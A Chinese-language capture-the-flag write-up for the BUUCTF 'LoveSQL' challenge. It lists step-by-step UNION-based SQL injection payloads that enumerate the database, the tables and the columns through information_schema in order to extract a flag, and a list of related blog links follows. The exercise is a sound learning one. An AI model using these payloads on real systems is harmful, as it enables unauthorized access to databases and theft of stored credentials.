BUU10 [极客大挑战 2019]LoveSQL1

万能用户名(密码随便)

登录进去以后发现是这个东西,然而并没有什么卵用

然后就开始爆破数据库名字--表名--列名

注意:这道题需要将所有的表名都爆出来,需要在payload里头写 group_concat(),否则页面只会显示那个没有flag的假表名

1.1' union select 1,2,database() #

(爆出来数据库名字是 geek)

2.1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

(爆出来geek库中的表名是geekuser(假的)和l0ve1ysq1)

3.1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#

(爆出来有id(永远都是1)和username和password还有flag)

这个题最大的坑在于flag藏在最终的password中,而必须要用group_concat()去显示完整的行,否则就看不见

相关推荐
二月十六3 小时前
SQL Server中RANK()函数:处理并列排名与自然跳号
数据库·sqlserver·rank
想做富婆3 小时前
oracle:子查询
数据库·oracle·子查询
ianozo3 小时前
BUU13 [极客大挑战 2019]BabySQL 1
数据库·mysql
想做富婆3 小时前
建表注意事项(2):表约束,主键自增,序列[oracle]
数据库·oracle·约束
阿猿收手吧!5 小时前
【Redis】Redis 经典面试题解析:深入理解 Redis 的核心概念与应用
数据库·redis·缓存
阿猿收手吧!6 小时前
【MySQL】MySQL经典面试题深度解析
数据库·c++·mysql·cpp
dongba86 小时前
MongoDB 聚合
数据库·mongodb
aaaweiaaaaaa8 小时前
网安学习xss和php反序列后的心得
sql·学习·web安全·网络安全·php·xss
WHYBIGDATA8 小时前
Hive之数据定义DDL
大数据·数据库·hive·hadoop